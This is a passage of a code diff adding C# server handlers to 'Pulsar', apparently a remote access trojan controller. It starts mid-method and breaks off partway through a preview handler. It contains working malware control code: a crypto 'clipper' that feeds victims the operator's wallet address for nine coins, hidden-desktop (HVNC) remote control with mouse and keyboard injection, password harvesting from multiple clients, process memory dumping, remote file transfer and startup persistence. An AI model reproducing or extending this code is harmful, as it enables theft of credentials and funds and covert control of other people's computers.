if (!fullPath.StartsWith(baseDir, StringComparison.OrdinalIgnoreCase))
{
OnReport("Download failed: Path traversal attempt detected");
return;
}
localPath = fullPath;
}
catch
{
OnReport("Download failed: Invalid path");
return;
}
int i = 1;
while (!overwrite && File.Exists(localPath))
{
// rename file if it exists already
var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(localPath), i, Path.GetExtension(localPath));
localPath = Path.Combine(_baseDownloadPath, newFileName);
// Re-validate the new path
try
{
string fullPath = Path.GetFullPath(localPath);
string baseDir = Path.GetFullPath(_baseDownloadPath);
if (!fullPath.StartsWith(baseDir, StringComparison.OrdinalIgnoreCase))
{
OnReport("Download failed: Path validation error");
return;
}
localPath = fullPath;
}
catch
{
OnReport("Download failed: Path validation error");
return;
}
i++;
}
var transfer = new FileTransfer
{
Id = id,
Type = TransferType.Download,
LocalPath = localPath,
RemotePath = remotePath,
Status = "Pending...",
//Size = fileSize, TODO: Add file size here
TransferredSize = 0
};
try
{
transfer.FileSplit = new FileSplit(transfer.LocalPath, FileAccess.Write);
}
catch (Exception)
{
transfer.Status = "Error writing file";
OnFileTransferUpdated(transfer);
return;
}
lock (_syncLock)
{
_activeFileTransfers.Add(transfer);
}
OnFileTransferUpdated(transfer);
_client.Send(new FileTransferRequest { RemotePath = remotePath, Id = id });
}
/// <summary>
/// Begins uploading a file to the client.
/// </summary>
/// <param name="localPath">The local path of the file to upload.</param>
/// <param name="remotePath">Save the uploaded file to this remote path. If empty, generate a temporary file name.</param>
public void BeginUploadFile(string localPath, string remotePath = "")
{
new Thread(() =>
{
int id = GetUniqueFileTransferId();
FileTransfer transfer = new FileTransfer
{
Id = id,
Type = TransferType.Upload,
LocalPath = localPath,
RemotePath = remotePath,
Status = "Pending...",
TransferredSize = 0
};
try
{
transfer.FileSplit = new FileSplit(localPath, FileAccess.Read);
}
catch (Exception)
{
transfer.Status = "Error reading file";
OnFileTransferUpdated(transfer);
return;
}
transfer.Size = transfer.FileSplit.FileSize;
lock (_syncLock)
{
_activeFileTransfers.Add(transfer);
}
transfer.Size = transfer.FileSplit.FileSize;
OnFileTransferUpdated(transfer);
_limitThreads.WaitOne();
try
{
foreach (var chunk in transfer.FileSplit)
{
transfer.TransferredSize += chunk.Data.Length;
decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal)((double)transfer.TransferredSize / (double)transfer.Size * 100.0), 2);
transfer.Status = $"Uploading...({progress}%)";
OnFileTransferUpdated(transfer);
bool transferCanceled;
lock (_syncLock)
{
transferCanceled = _activeFileTransfers.Count(f => f.Id == transfer.Id) == 0;
}
if (transferCanceled)
{
transfer.Status = "Canceled";
OnFileTransferUpdated(transfer);
_limitThreads.Release();
return;
}
// TODO: blocking sending might not be required, needs further testing
_client.SendBlocking(new FileTransferChunk
{
Id = id,
Chunk = chunk,
FilePath = remotePath,
FileSize = transfer.Size,
FileExtension = Path.GetExtension(localPath)
});
}
}
catch (Exception)
{
lock (_syncLock)
{
// if transfer is already cancelled, just return
if (_activeFileTransfers.Count(f => f.Id == transfer.Id) == 0)
{
_limitThreads.Release();
return;
}
}
transfer.Status = "Error reading file";
OnFileTransferUpdated(transfer);
CancelFileTransfer(transfer.Id);
_limitThreads.Release();
return;
}
_limitThreads.Release();
}).Start();
}
/// <summary>
/// Cancels a file transfer.
/// </summary>
/// <param name="transferId">The id of the file transfer to cancel.</param>
public void CancelFileTransfer(int transferId)
{
_client.Send(new FileTransferCancel { Id = transferId });
}
/// <summary>
/// Renames a remote file or directory.
/// </summary>
/// <param name="remotePath">The remote file or directory path to rename.</param>
/// <param name="newPath">The new name of the remote file or directory path.</param>
/// <param name="type">The type of the file (file or directory).</param>
public void RenameFile(string remotePath, string newPath, FileType type)
{
_client.Send(new DoPathRename
{
Path = remotePath,
NewPath = newPath,
PathType = type
});
}
/// <summary>
/// Deletes a remote file or directory.
/// </summary>
/// <param name="remotePath">The remote file or directory path.</param>
/// <param name="type">The type of the file (file or directory).</param>
public void DeleteFile(string remotePath, FileType type)
{
_client.Send(new DoPathDelete { Path = remotePath, PathType = type });
}
/// <summary>
/// Starts a new process remotely.
/// </summary>
/// <param name="remotePath">The remote path used for starting the new process.</param>
public void StartProcess(string remotePath)
{
_taskManagerHandler.StartProcess(remotePath);
}
/// <summary>
/// Adds an item to the startup of the client.
/// </summary>
/// <param name="item">The startup item to add.</param>
public void AddToStartup(StartupItem item)
{
_client.Send(new DoStartupItemAdd { StartupItem = item });
}
/// <summary>
/// Gets the directory contents for the remote path.
/// </summary>
/// <param name="remotePath">The remote path of the directory.</param>
public void GetDirectoryContents(string remotePath)
{
_client.Send(new GetDirectory { RemotePath = remotePath });
}
/// <summary>
/// Refreshes the remote drives.
/// </summary>
public void RefreshDrives()
{
_client.Send(new GetDrives());
}
private void Execute(ISender client, FileTransferChunk message)
{
FileTransfer transfer;
lock (_syncLock)
{
transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id);
}
if (transfer == null)
return;
transfer.Size = message.FileSize;
transfer.TransferredSize += message.Chunk.Data.Length;
try
{
transfer.FileSplit.WriteChunk(message.Chunk);
}
catch (Exception)
{
transfer.Status = "Error writing file";
OnFileTransferUpdated(transfer);
CancelFileTransfer(transfer.Id);
return;
}
decimal progress = transfer.Size == 0 ? 100 : Math.Round((decimal)((double)transfer.TransferredSize / (double)transfer.Size * 100.0), 2);
transfer.Status = $"Downloading...({progress}%)";
OnFileTransferUpdated(transfer);
}
private void Execute(ISender client, FileTransferCancel message)
{
FileTransfer transfer;
lock (_syncLock)
{
transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id);
}
if (transfer != null)
{
transfer.Status = message.Reason;
OnFileTransferUpdated(transfer);
RemoveFileTransfer(transfer.Id);
// don't keep un-finished files
if (transfer.Type == TransferType.Download)
File.Delete(transfer.LocalPath);
}
}
private void Execute(ISender client, FileTransferComplete message)
{
FileTransfer transfer;
lock (_syncLock)
{
transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id);
}
if (transfer != null)
{
transfer.RemotePath = message.FilePath; // required for temporary file names generated on the client
transfer.Status = "Completed";
RemoveFileTransfer(transfer.Id);
OnFileTransferUpdated(transfer);
}
}
private void Execute(ISender client, GetDrivesResponse message)
{
if (message.Drives?.Length == 0)
return;
OnDrivesChanged(message.Drives);
}
private void Execute(ISender client, GetDirectoryResponse message)
{
if (message.Items == null)
{
message.Items = new FileSystemEntry[0];
}
OnDirectoryChanged(message.RemotePath, message.Items);
}
private void Execute(ISender client, SetStatusFileManager message)
{
OnReport(message.Message);
}
private void ProcessActionPerformed(object sender, ProcessAction action, bool result)
{
if (action != ProcessAction.Start) return;
OnReport(result ? "Process started successfully" : "Process failed to start");
}
/// <summary>
/// Removes a file transfer given the transfer id.
/// </summary>
/// <param name="transferId">The file transfer id.</param>
private void RemoveFileTransfer(int transferId)
{
lock (_syncLock)
{
var transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == transferId);
transfer?.FileSplit?.Dispose();
_activeFileTransfers.RemoveAll(s => s.Id == transferId);
}
}
/// <summary>
/// Generates a unique file transfer id.
/// </summary>
/// <returns>A unique file transfer id.</returns>
private int GetUniqueFileTransferId()
{
int id;
lock (_syncLock)
{
do
{
id = FileTransfer.GetRandomTransferId();
// generate new id until we have a unique one
} while (_activeFileTransfers.Any(f => f.Id == id));
}
return id;
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
lock (_syncLock)
{
foreach (var transfer in _activeFileTransfers)
{
_client.Send(new FileTransferCancel { Id = transfer.Id });
transfer.FileSplit?.Dispose();
if (transfer.Type == TransferType.Download)
File.Delete(transfer.LocalPath);
}
_activeFileTransfers.Clear();
}
MessageHandler.Unregister(_taskManagerHandler);
_taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed;
}
}
}
}
@@ -0,0 +1,73 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.Clipboard;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Forms;
using Pulsar.Server.Networking;
using System;
using System.Collections.Generic;
using System.Windows.Forms;
namespace Pulsar.Server.Messages
{
// I literally copied all of this from another handler and shoved it in here
/// <summary>
/// Handles messages for the interaction with the remote client status.
/// </summary>
public class GetCryptoAddressHandler : MessageProcessorBase<object>
{
public delegate void AddressReceivedEventHandler(object sender, Client client, string addressType);
public event AddressReceivedEventHandler AddressReceived;
public GetCryptoAddressHandler() : base(true)
{
}
public override bool CanExecute(IMessage message) => message is DoGetAddress;
public override bool CanExecuteFrom(ISender sender) => true;
public override void Execute(ISender sender, IMessage message)
{
if (message is DoGetAddress addressMessage)
{
Execute((Client)sender, addressMessage);
}
}
private void Execute(Client client, DoGetAddress message)
{
AddressReceived?.Invoke(this, client, message.Type);
FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain;
if (frm != null && frm.ClipperCheckbox.Checked)
{
var addressGetters = new Dictionary<string, Func<string>>
{
{ "BTC", frm.GetBTCAddress },
{ "LTC", frm.GetLTCAddress },
{ "ETH", frm.GetETHAddress },
{ "XMR", frm.GetXMRAddress },
{ "SOL", frm.GetSOLAddress },
{ "DASH", frm.GetDASHAddress },
{ "XRP", frm.GetXRPAddress },
{ "TRX", frm.GetTRXAddress },
{ "BCH", frm.GetBCHAddress }
};
if (!string.IsNullOrEmpty(message.Type) && addressGetters.TryGetValue(message.Type, out var getAddress))
{
string address = getAddress();
client.Send(new DoSendAddress
{
Address = address
});
}
FrmMain.AddNotiEvent(frm, client.Value.UserAtPc, "Requested crypto address", message.Type);
}
}
}
}
+552
View File
@@ -0,0 +1,552 @@
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.RemoteDesktop;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Common.Video.Codecs;
using Pulsar.Server.Networking;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Threading;
using System.Threading.Tasks;
using System.Collections.Concurrent;
using Pulsar.Common.Messages.Monitoring.HVNC;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with the remote desktop.
/// </summary>
public class HVNCHandler : MessageProcessorBase<Bitmap>, IDisposable
{
/// <summary>
/// States if the client is currently streaming desktop frames.
/// </summary>
public bool IsStarted { get; set; }
/// <summary>
/// Gets or sets whether the remote desktop is using buffered mode.
/// </summary>
public bool IsBufferedMode { get; set; } = true;
/// <summary>
/// Used in lock statements to synchronize access to <see cref="_codec"/> between UI thread and thread pool.
/// </summary>
private readonly object _syncLock = new object();
/// <summary>
/// Used in lock statements to synchronize access to <see cref="LocalResolution"/> between UI thread and thread pool.
/// </summary>
private readonly object _sizeLock = new object();
/// <summary>
/// The local resolution, see <seealso cref="LocalResolution"/>.
/// </summary>
private Size _localResolution;
/// <summary>
/// The local resolution in width x height. It indicates to which resolution the received frame should be resized.
/// </summary>
/// <remarks>
/// This property is thread-safe.
/// </remarks>
public Size LocalResolution
{
get
{
lock (_sizeLock)
{
return _localResolution;
}
}
set
{
lock (_sizeLock)
{
_localResolution = value;
}
}
}
/// <summary>
/// Represents the method that will handle display changes.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="displays">The currently available displays.</param>
public delegate void DisplaysChangedEventHandler(object sender, int displays);
/// <summary>
/// Raised when displays change.
/// </summary>
public event DisplaysChangedEventHandler DisplaysChanged;
/// <summary>
/// The client which is associated with this remote desktop handler.
/// </summary>
private readonly Client _client;
/// <summary>
/// The video stream codec used to decode received frames.
/// </summary>
private UnsafeStreamCodec _codec;
// buffer parameters
private readonly int _initialFramesRequested = 5; // request 5 frames initially
private readonly int _defaultFrameRequestBatch = 3;
private int _pendingFrames = 0;
private readonly SemaphoreSlim _frameRequestSemaphore = new SemaphoreSlim(1, 1);
private readonly Stopwatch _frameReceiptStopwatch = new Stopwatch();
private readonly ConcurrentQueue<long> _frameTimestamps = new ConcurrentQueue<long>();
private readonly int _fpsCalculationWindow = 10; // calculate FPS based on last 10 frames
private DateTime _lastFrameRequest = DateTime.MinValue;
private readonly Stopwatch _performanceMonitor = new Stopwatch();
private int _framesReceived = 0;
private double _estimatedFps = 0;
private long _accumulatedFrameBytes = 0;
private int _frameBytesSamples = 0;
private long _lastFrameBytes = 0;
private bool _disposed;
public long LastFrameSizeBytes => Interlocked.Read(ref _lastFrameBytes);
public double AverageFrameSizeBytes
{
get
{
long total = Interlocked.Read(ref _accumulatedFrameBytes);
int count = Volatile.Read(ref _frameBytesSamples);
return count > 0 ? (double)total / count : 0.0;
}
}
/// <summary>
/// Stores the last FPS reported by the client.
/// </summary>
private float _lastReportedFps = -1f;
/// <summary>
/// Shows the last FPS reported by the client, or estimated FPS if not available.
/// </summary>
public float CurrentFps => _lastReportedFps > 0 ? _lastReportedFps : (float)_estimatedFps;
/// <summary>
/// Shows the estimated frames per second (FPS) based on the last second of received frames.
/// </summary>
public float LastReportedFps => _lastReportedFps;
public static Size resolution = new Size(0, 0);
/// <summary>
/// Initializes a new instance of the <see cref="RemoteDesktopHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public HVNCHandler(Client client) : base(true)
{
_client = client;
_performanceMonitor.Start();
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is GetHVNCDesktopResponse || message is GetHVNCMonitorsResponse;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetHVNCDesktopResponse response:
Execute(sender, response);
break;
case GetHVNCMonitorsResponse response:
Execute(sender, response);
break;
}
}
private async void Execute(ISender client, GetHVNCDesktopResponse message)
{
_framesReceived++;
resolution = new Size { Height = message.Resolution.Height, Width = message.Resolution.Width };
// capture the FPS reported by the client
if (message.Fps > 0)
{
_lastReportedFps = message.Fps;
Debug.WriteLine($"Client-reported FPS: {_lastReportedFps}");
}
if (_performanceMonitor.ElapsedMilliseconds >= 1000)
{
_estimatedFps = _framesReceived / (_performanceMonitor.ElapsedMilliseconds / 1000.0);
Debug.WriteLine($"Estimated FPS: {_estimatedFps:F1}, Frames received: {_framesReceived}");
_framesReceived = 0;
_performanceMonitor.Restart();
}
lock (_syncLock)
{
if (!IsStarted)
return;
if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution)
{
_codec?.Dispose();
_codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution);
}
if (message.Image != null)
{
long size = message.Image.LongLength;
Interlocked.Exchange(ref _lastFrameBytes, size);
Interlocked.Add(ref _accumulatedFrameBytes, size);
Interlocked.Increment(ref _frameBytesSamples);
}
using (var ms = new MemoryStream(message.Image))
{
try
{
var decoded = _codec.DecodeData(ms);
if (decoded != null)
{
EnsureLocalResolutionInitialized(decoded.Size);
OnReport(decoded);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error decoding frame: {ex.Message}");
}
}
message.Image = null;
long timestamp = message.Timestamp;
_frameTimestamps.Enqueue(timestamp);
while (_frameTimestamps.Count > _fpsCalculationWindow && _frameTimestamps.TryDequeue(out _)) { }
Interlocked.Decrement(ref _pendingFrames);
}
if (IsBufferedMode && (message.IsLastRequestedFrame || _pendingFrames <= 1))
{
await RequestMoreFramesAsync();
}
}
private void Execute(ISender client, GetHVNCMonitorsResponse message)
{
OnDisplaysChanged(message.Number);
}
/// <summary>
/// Reports changed displays.
/// </summary>
/// <param name="displays">All currently available displays.</param>
private void OnDisplaysChanged(int displays)
{
SynchronizationContext.Post(val =>
{
var handler = DisplaysChanged;
handler?.Invoke(this, (int)val);
}, displays);
}
private void EnsureLocalResolutionInitialized(Size fallbackSize)
{
if (fallbackSize.Width <= 0 || fallbackSize.Height <= 0)
{
return;
}
var current = LocalResolution;
if (current.Width <= 0 || current.Height <= 0)
{
LocalResolution = fallbackSize;
}
}
private void ClearTimeStamps()
{
while (_frameTimestamps.TryDequeue(out _)) { }
}
/// <summary>
/// Begins receiving frames from the client using the specified quality and display.
/// </summary>
/// <param name="quality">The quality of the remote desktop frames.</param>
/// <param name="display">The display to receive frames from.</param>
/// <param name="useGPU">Whether to use GPU for screen capture.</param>
public void BeginReceiveFrames(int quality, int display, bool useGPU)
{
if (_disposed)
{
throw new ObjectDisposedException(nameof(HVNCHandler));
}
lock (_syncLock)
{
IsStarted = true;
_codec?.Dispose();
_codec = null;
// Reset buffering counters
_pendingFrames = _initialFramesRequested;
ClearTimeStamps();
_framesReceived = 0;
_frameReceiptStopwatch.Restart();
// Start in buffered mode
_client.Send(new GetHVNCDesktop
{
CreateNew = true,
Quality = quality,
DisplayIndex = display,
Status = RemoteDesktopStatus.Start,
UseGPU = useGPU,
IsBufferedMode = IsBufferedMode,
FramesRequested = _initialFramesRequested
});
}
}
/// <summary>
/// Ends receiving frames from the client.
/// </summary>
public void EndReceiveFrames()
{
if (_disposed)
{
return;
}
lock (_syncLock)
{
IsStarted = false;
}
Debug.WriteLine("HVNC session stopped");
_client.Send(new GetHVNCDesktop { Status = RemoteDesktopStatus.Stop });
}
/// <summary>
/// States whether remote mouse input is enabled.
/// </summary>
private bool _enableMouseInput = true;
/// <summary>
/// States whether remote keyboard input is enabled.
/// </summary>
private bool _enableKeyboardInput = true;
/// <summary>
/// Gets or sets the maximum frames per second for HVNC stream.
/// </summary>
public int MaxFramesPerSecond { get; set; } = 30;
/// <summary>
/// Gets or sets whether adaptive frame rate is enabled (reduces FPS when form is processing slowly).
/// </summary>
public bool AdaptiveFrameRate { get; set; } = true;
/// <summary>
/// Gets or sets whether mouse input is enabled.
/// </summary>
public bool EnableMouseInput
{
get => _enableMouseInput;
set => _enableMouseInput = value;
}
/// <summary>
/// Gets or sets whether keyboard input is enabled.
/// </summary>
public bool EnableKeyboardInput
{
get => _enableKeyboardInput;
set => _enableKeyboardInput = value;
}
/// <summary>
/// Sends a mouse event to the client.
/// </summary>
/// <param name="message">The Windows message type (WM_LBUTTONDOWN, WM_MOUSEMOVE, etc.).</param>
/// <param name="wParam">The wParam value.</param>
/// <param name="lParam">The lParam value containing coordinates.</param>
public void SendMouseEvent(uint message, int wParam, int lParam)
{
if (!_enableMouseInput || _disposed) return;
lock (_syncLock)
{
if (!IsStarted) return;
if (_codec != null && LocalResolution.Width > 0 && LocalResolution.Height > 0)
{
int x = lParam & 0xFFFF;
int y = (lParam >> 16) & 0xFFFF;
int remoteX = x * _codec.Resolution.Width / LocalResolution.Width;
int remoteY = y * _codec.Resolution.Height / LocalResolution.Height;
lParam = (remoteY << 16) | (remoteX & 0xFFFF);
}
_client.Send(new DoHVNCInput
{
msg = message,
wParam = wParam,
lParam = lParam
});
}
}
/// <summary>
/// Sends a keyboard event to the client.
/// </summary>
/// <param name="message">The Windows message type (WM_KEYDOWN, WM_KEYUP, etc.).</param>
/// <param name="wParam">The wParam value (virtual key code).</param>
/// <param name="lParam">The lParam value.</param>
public void SendKeyboardEvent(uint message, int wParam, int lParam)
{
if (!_enableKeyboardInput || _disposed) return;
lock (_syncLock)
{
if (!IsStarted) return;
_client.Send(new DoHVNCInput
{
msg = message,
wParam = wParam,
lParam = lParam
});
}
}
/// <summary>
/// Refreshes the available displays of the client.
/// </summary>
public void RefreshDisplays()
{
Debug.WriteLine("Refreshing HVNC displays");
_client.Send(new GetHVNCMonitors());
}
private async Task RequestMoreFramesAsync()
{
bool acquired;
try
{
acquired = await _frameRequestSemaphore.WaitAsync(0).ConfigureAwait(false);
}
catch (ObjectDisposedException)
{
return;
}
if (!acquired)
return;
try
{
if (_disposed)
{
return;
}
int targetFps = MaxFramesPerSecond;
if (AdaptiveFrameRate && _pendingFrames > 2)
{
targetFps = Math.Max(15, targetFps / 2);
Debug.WriteLine($"Adaptive frame rate: reducing to {targetFps} FPS (pending frames: {_pendingFrames})");
}
int minIntervalMs = 1000 / Math.Max(1, targetFps);
var timeSinceLastRequest = DateTime.Now - _lastFrameRequest;
if (timeSinceLastRequest.TotalMilliseconds < minIntervalMs)
{
int delayMs = minIntervalMs - (int)timeSinceLastRequest.TotalMilliseconds;
Debug.WriteLine($"Frame rate limiting: waiting {delayMs}ms (target: {targetFps} FPS)");
await Task.Delay(delayMs).ConfigureAwait(false);
if (_disposed)
{
return;
}
}
int batchSize = AdaptiveFrameRate && _pendingFrames > 1 ? 1 : _defaultFrameRequestBatch;
Debug.WriteLine($"Requesting {batchSize} more frames (pending: {_pendingFrames})");
Interlocked.Add(ref _pendingFrames, batchSize);
_lastFrameRequest = DateTime.Now;
if (!_disposed)
{
_client.Send(new GetHVNCDesktop
{
CreateNew = false,
Quality = _codec?.ImageQuality ?? 75,
DisplayIndex = _codec?.Monitor ?? 0,
Status = RemoteDesktopStatus.Continue,
IsBufferedMode = true,
FramesRequested = batchSize
});
}
}
catch (ObjectDisposedException)
{
// Ignore disposal races during shutdown.
}
finally
{
try
{
_frameRequestSemaphore.Release();
}
catch (ObjectDisposedException)
{
}
}
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
lock (_syncLock)
{
_codec?.Dispose();
_disposed = true;
IsStarted = false;
}
try
{
_frameRequestSemaphore.Dispose();
}
catch (ObjectDisposedException)
{
}
}
}
}
}
@@ -0,0 +1,99 @@
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.FileManager;
using Pulsar.Common.Messages.Administration.TaskManager;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Models;
using Pulsar.Server.Networking;
using System;
using static Pulsar.Server.Messages.FileManagerHandler;
namespace Pulsar.Server.Messages
{
public class MemoryDumpHandler : MessageProcessorBase<string>, IDisposable
{
/// <summary>
/// Raised when a dump transfer updated.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event FileTransferUpdatedEventHandler FileTransferUpdated;
/// <summary>
/// The client which is associated with this memory dump handler.
/// </summary>
private readonly Client _client;
private readonly FileManagerHandler _fileManagerHandler;
private readonly DoProcessDumpResponse _activeDump;
/// <summary>
/// Initializes a new instance of the <see cref="MemoryDumpHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
/// <param name="response">The process dump this handler tracks.</param>
public MemoryDumpHandler(Client client, DoProcessDumpResponse response) : base(true)
{
_client = client;
_activeDump = response;
_fileManagerHandler = new FileManagerHandler(client);
_fileManagerHandler.FileTransferUpdated += OnFileTransferUpdateForward;
MessageHandler.Register(_fileManagerHandler);
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is FileTransferComplete;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case FileTransferComplete complete:
Execute(sender, complete);
break;
}
}
private void Execute(ISender sender, FileTransferComplete complete)
{
}
private void OnFileTransferUpdateForward(object sender, FileTransfer transfer)
{
FileTransferUpdated?.Invoke(sender, transfer);
}
public void Cleanup(FileTransfer transfer)
{
_fileManagerHandler.DeleteFile(transfer.RemotePath, FileType.File);
}
public void BeginDumpDownload(DoProcessDumpResponse response)
{
string fileName = $"{response.UnixTime}_{response.Pid}_{response.ProcessName}.dmp";
this._fileManagerHandler.BeginDownloadFile(response.DumpPath, fileName, true);
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
this._fileManagerHandler.FileTransferUpdated -= OnFileTransferUpdateForward;
MessageHandler.Unregister(this._fileManagerHandler);
this._fileManagerHandler.Dispose();
}
}
}
@@ -0,0 +1,98 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.Passwords;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
using System.Collections.Generic;
using System.Linq;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with the remote password recovery.
/// </summary>
public class PasswordRecoveryHandler : MessageProcessorBase<object>
{
/// <summary>
/// The clients which is associated with this password recovery handler.
/// </summary>
private readonly Client[] _clients;
/// <summary>
/// Represents the method that will handle recovered accounts.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="clientIdentifier">A unique client identifier.</param>
/// <param name="accounts">The recovered accounts</param>
public delegate void AccountsRecoveredEventHandler(object sender, string clientIdentifier, List<RecoveredAccount> accounts);
/// <summary>
/// Raised when accounts got recovered.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event AccountsRecoveredEventHandler AccountsRecovered;
/// <summary>
/// Reports recovered accounts from a client.
/// </summary>
/// <param name="accounts">The recovered accounts.</param>
/// <param name="clientIdentifier">A unique client identifier.</param>
private void OnAccountsRecovered(List<RecoveredAccount> accounts, string clientIdentifier)
{
SynchronizationContext.Post(d =>
{
var handler = AccountsRecovered;
handler?.Invoke(this, clientIdentifier, (List<RecoveredAccount>)d);
}, accounts);
}
/// <summary>
/// Initializes a new instance of the <see cref="PasswordRecoveryHandler"/> class using the given clients.
/// </summary>
/// <param name="clients">The associated clients.</param>
public PasswordRecoveryHandler(Client[] clients) : base(true)
{
_clients = clients;
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is GetPasswordsResponse;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender));
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetPasswordsResponse pass:
Execute(sender, pass);
break;
}
}
/// <summary>
/// Starts the account recovery with the associated clients.
/// </summary>
public void BeginAccountRecovery()
{
var req = new GetPasswords();
foreach (var client in _clients.Where(client => client != null))
client.Send(req);
}
private void Execute(ISender client, GetPasswordsResponse message)
{
Client c = (Client)client;
string userAtPc = $"{c.Value.Username}@{c.Value.PcName}";
OnAccountsRecovered(message.RecoveredAccounts, userAtPc);
}
}
}
+74
View File
@@ -0,0 +1,74 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
using System;
using System.Diagnostics;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles ping messages for measuring network latency.
/// </summary>
public class PingHandler : MessageProcessorBase<int>
{
/// <summary>
/// The client which is associated with this ping handler.
/// </summary>
private readonly Client _client;
/// <summary>
/// Stores the timestamp when the ping request was sent.
/// </summary>
private long _pingRequestTimestamp;
/// <summary>
/// Initializes a new instance of the <see cref="PingHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public PingHandler(Client client) : base(true)
{
_client = client;
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is PingResponse;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case PingResponse pingResponse:
Execute(sender, pingResponse);
break;
}
}
private void Execute(ISender client, PingResponse message)
{
double pingMs = 0;
if (_pingRequestTimestamp != 0)
{
long freq = Stopwatch.Frequency;
long now = Stopwatch.GetTimestamp();
pingMs = ((now - _pingRequestTimestamp) * 1000.0) / freq;
_pingRequestTimestamp = 0;
}
OnReport((int)Math.Round(pingMs));
}
/// <summary>
/// Sends a ping request to the client.
/// </summary>
public void SendPing()
{
_pingRequestTimestamp = Stopwatch.GetTimestamp();
_client.Send(new PingRequest());
}
}
}
+274
View File
@@ -0,0 +1,274 @@
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.Preview;
using Pulsar.Common.Messages.Webcam;
using Pulsar.Common.Networking;
using Pulsar.Common.Video.Codecs;
using Pulsar.Server.Controls;
using Pulsar.Server.Networking;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.IO;
using System.Threading;
using System.Windows.Forms;
namespace Pulsar.Server.Messages
{
public class PreviewHandler : MessageProcessorBase<Bitmap>, IDisposable
{
public bool IsStarted { get; set; }
private readonly object _syncLock = new object();
private readonly PictureBox _box;
private readonly Client _client;
private UnsafeStreamCodec _codec;
private ListView _verticleStatsTable;
/// <summary>
/// Used in lock statements to synchronize access to <see cref="LocalResolution"/> between UI thread and thread pool.
/// </summary>
private readonly object _sizeLock = new object();
private int _lastPingMs = -1;
private GetPreviewResponse _lastPreviewResponse;
/// <summary>
/// The ping handler for measuring network latency separately from preview requests.
/// </summary>
private readonly PingHandler _pingHandler;public PreviewHandler(Client client, PictureBox box, ListView importantStatsView) : base(true)
{
_box = box;
_client = client;
LocalResolution = box.Size;
_verticleStatsTable = importantStatsView;
_pingHandler = new PingHandler(client);
_pingHandler.ProgressChanged += OnPingReceived;
MessageHandler.Register(_pingHandler);
try
{
_pingHandler.SendPing();
}
catch (Exception ex)
{
Debug.WriteLine($"Error sending initial ping: {ex.Message}");
}
}
/// <summary>
/// Called when a ping response is received.
/// </summary>
/// <param name="sender">The ping handler.</param>
/// <param name="pingMs">The ping time in milliseconds.</param>
private void OnPingReceived(object sender, int pingMs)
{
SetLastPing(pingMs);
}
/// <summary>
/// The local resolution, see <seealso cref="LocalResolution"/>.
/// </summary>
private Size _localResolution;
/// <summary>
